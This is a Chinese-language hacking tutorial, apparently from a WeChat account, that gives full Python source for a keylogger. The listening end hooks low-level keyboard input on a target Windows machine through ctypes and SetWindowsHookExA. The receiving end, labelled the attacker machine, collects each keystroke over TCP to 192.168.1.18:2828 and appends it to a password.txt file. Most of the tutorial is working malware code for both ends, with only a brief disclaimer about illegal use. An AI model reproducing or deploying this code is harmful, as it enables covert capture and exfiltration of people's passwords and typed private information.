注:首发于微信公众号:黑客帮。本教程仅供学习交流,未经允许禁止转载。请勿用于非法用途,后果自负。大神勿喷。
前言:本篇教程演示如何编写一个键盘监听器,在内网中获取目标用户输入并保存。个人能力有限只能捕获26个英文字符和26个英文键上方的0到9,捕获到的0到9对应字符分别是“PQRSTUVWXY”,测试见文末视频。
原理:使用ctypes模块进行键盘输入信息勾取,然后通过TCP通信将勾取到的信息传输到攻击机然后保存。
(ctypes官方文档:https://docs.python.org/3.7/library/ctypes.html)
教程:
(一)键盘输入信息勾取
导入DLL库为注册钩子准备
user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")
用处:
user32.dll:是Windows用户界面相关应用程序接口,用于包括Windows处理,基本用户界面等特性,如创建窗口和发送消息。
kernel32.dll:控制着系统的内存管理、数据的输入输出操作和中断处理。
注册HOOK
Hook技术:又叫做钩子函数,系统在调用函数之前,钩子程序就先捕获该消息,钩子函数先得到控制权,这时钩子函数既可以加工处理(改变)该函数的执行行为,还可以强制结束消息的传递。
通过官方文档可知钩子的类型:
HHOOK SetWindowsHookExA(
int idHook,
HOOKPROC lpfn,
HINSTANCE hmod,
DWORD dwThreadId
);
python代码
def installHookProc(hooked, pointer):
hooked = user32.SetWindowsHookExA(
13,
pointer,
kernel32.GetModuleHandleW(),
0
)
第一个参数:
WH_KEYBOARD_LL的常量值为13代表的意思是监视低级键盘输入事件,我们此处来监听键盘事件。
第二个参数:
lpfn代表指向钩子过程的指针,要填入钩子过程(函数),我们可以在此处来添加额外代码达到我们想要达成的目的。
第三个参数:
hmod表示为DLL句柄,我们可以使用kernel32中的GetModuleHandleW()来获取句柄。
第四个参数:
dwThreadId我们填入0代表与同一桌面上所有的线程关联。
编写钩子
在Windows中需要用WINFUNCTYPE来创建函数,WINFUNCTYPE为Windows下独有的,通过使用使用stdcall调用约定的函数。
HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
关于回调函数因为我们调用的是WH_KEYBOARD_LL,WH_KEYBOARD_LL会使用LowLevelKeyboardProc回调函数。我们也需要在Python中定义它。
LowLevelKeyboardProc数据结构如下
LRESULT CALLBACK LowLevelKeyboardProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
如果nCode小于零,则挂钩过程必须将消息传递给CallNextHookEx函数,而无需进一步处理,并且应返回CallNextHookEx返回的值。
python代码
class KBDLLHOOKSTRUCT(Structure):
_fields_ = [
('vkCode', DWORD),
('scanCode', DWORD),
('flags', DWORD),
('time', DWORD),
('dwExtraInfo', DWORD)]
def hookProc(nCode, wParam, lParam):
if nCode < 0:
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
else:
if wParam == 256:
if 162 == lParam.contents.value:
print("Ctrl pressed, call Hook uninstall()")
uninstallHookProc(hooked)
sys.exit(-1)
capsLock = user32.GetKeyState(20)
# kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))
if lParam.contents.value == 13:
print("\n")
elif capsLock:
print(chr(lParam.contents.value), end="")
else:
print(chr(lParam.contents.value + 32), end="") # 输出勾取到的数据
tcp_l(chr(lParam.contents.value + 32)) # tcp传输
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
删除HOOK
主动删除HOOK,不然大量的HOOK会使系统运行缓慢。
user32.UnhookWindowsHookEx(hooked)
(二)TCP通信
服务端(攻击机)
将收到的数据保存
#写入文件
def write_file(word):
f = open(r"C:\Users\ASUS\Desktop\password.txt","a+",encoding="utf-8")
f.write(word)
接收数据
MaxBytes = 1024 * 1024 # 最大字节
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.settimeout(120)
#host = '192.168.1.18'
host = socket.gethostname() # 获取本机ip
port = 2828
server.bind((host, port)) # 绑定端口
server.listen(1) # 监听
try:
client, addr = server.accept() # 等待客户端连接
print(addr, " 连接成功!\n")
while True:
data = client.recv(MaxBytes)
localTime = time.asctime(time.localtime(time.time()))
print(localTime, ' 接收到数据字节数:', len(data))
write_file(data.decode()) #调用文件写入函数
print(data.decode())
except BaseException as e:
print("出现异常:%s"%e)
finally:
server.close() # 关闭连接
print("连接已断开!!")
客户端(靶机)
import socket
MaxBytes = 1024 * 1024
host = '192.168.1.18' # 服务端的IP
port = 2828 # 端口
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.settimeout(100) # 设置超时时间
client.connect((host, port))
def tcp_l(word2):
client.send(word2.encode())
(三)完整源码
1.受监听端
# -*- coding: gbk -*-
# 勾取
import sys
from ctypes import *
from ctypes.wintypes import DWORD, MSG
# 传输
import socket
MaxBytes = 1024 * 1024
host = '192.168.1.18' # 服务端IP
port = 2828
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.settimeout(60)
client.connect((host, port))
def tcp_l(word2):
client.send(word2.encode())
#client.close()
user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")
class KBDLLHOOKSTRUCT(Structure):
_fields_ = [
('vkCode', DWORD),
('scanCode', DWORD),
('flags', DWORD),
('time', DWORD),
('dwExtraInfo', DWORD)]
def uninstallHookProc(hooked):
if hooked is None:
return
user32.UnhookWindowsHookEx(hooked)
hooked = None
def hookProc(nCode, wParam, lParam):
if nCode < 0:
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
else:
if wParam == 256:
if 162 == lParam.contents.value:
print("Ctrl pressed, call Hook uninstall()")
uninstallHookProc(hooked)
sys.exit(-1)
capsLock = user32.GetKeyState(20)
if lParam.contents.value == 13:
print("\n")
elif capsLock:
print(chr(lParam.contents.value), end="")
else:
print(chr(lParam.contents.value + 32), end="") # 输出勾取到的数据
tcp_l(chr(lParam.contents.value + 32)) # tcp传输
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
def startKeyLog():
msg = MSG()
user32.GetMessageA(byref(msg), 0, 0, 0)
def installHookProc(hooked, pointer):
hooked = user32.SetWindowsHookExA(
13,
pointer,
kernel32.GetModuleHandleW(),
0
)
if not hooked:
return False
return True
HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
pointer = HOOKPROC(hookProc)
hooked = None
if installHookProc(hooked, pointer):
print("Hook installed")
try:
msg = MSG()
user32.GetMessageA(byref(msg), 0, 0, 0)
except KeyboardInterrupt as kerror:
uninstallHookProc(hooked)
print("Hook uninstall...")
else:
print("Hook installed error")
监听端
#coding: gbk
import socket
import time
#写入文件
def write_file(word):
f = open(r"C:\Users\ASUS\Desktop\password.txt","a+",encoding="utf-8")
f.write(word)
MaxBytes = 1024 * 1024 # 最大字节
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.settimeout(60)
#host = '192.168.1.18'
host = socket.gethostname() # 获取本机ip
port = 2828
server.bind((host, port)) # 绑定端口
server.listen(1) # 监听
try:
client, addr = server.accept() # 等待客户端连接
print(addr, " 连接成功!\n")
while True:
data = client.recv(MaxBytes)
localTime = time.asctime(time.localtime(time.time()))
print(localTime, ' 接收到数据字节数:', len(data))
write_file(data.decode()) # 调用写入函数
print(data.decode())
except BaseException as e:
print("出现异常:%s"%e)
finally:
server.close() # 关闭连接
print("连接已断开!!")
(四)测试视频
物理机:受监听端
虚拟机:监听端
链接:https://pan.baidu.com/s/1NMf55PHaRd-jVsngq5oU0w
提取码:2hc6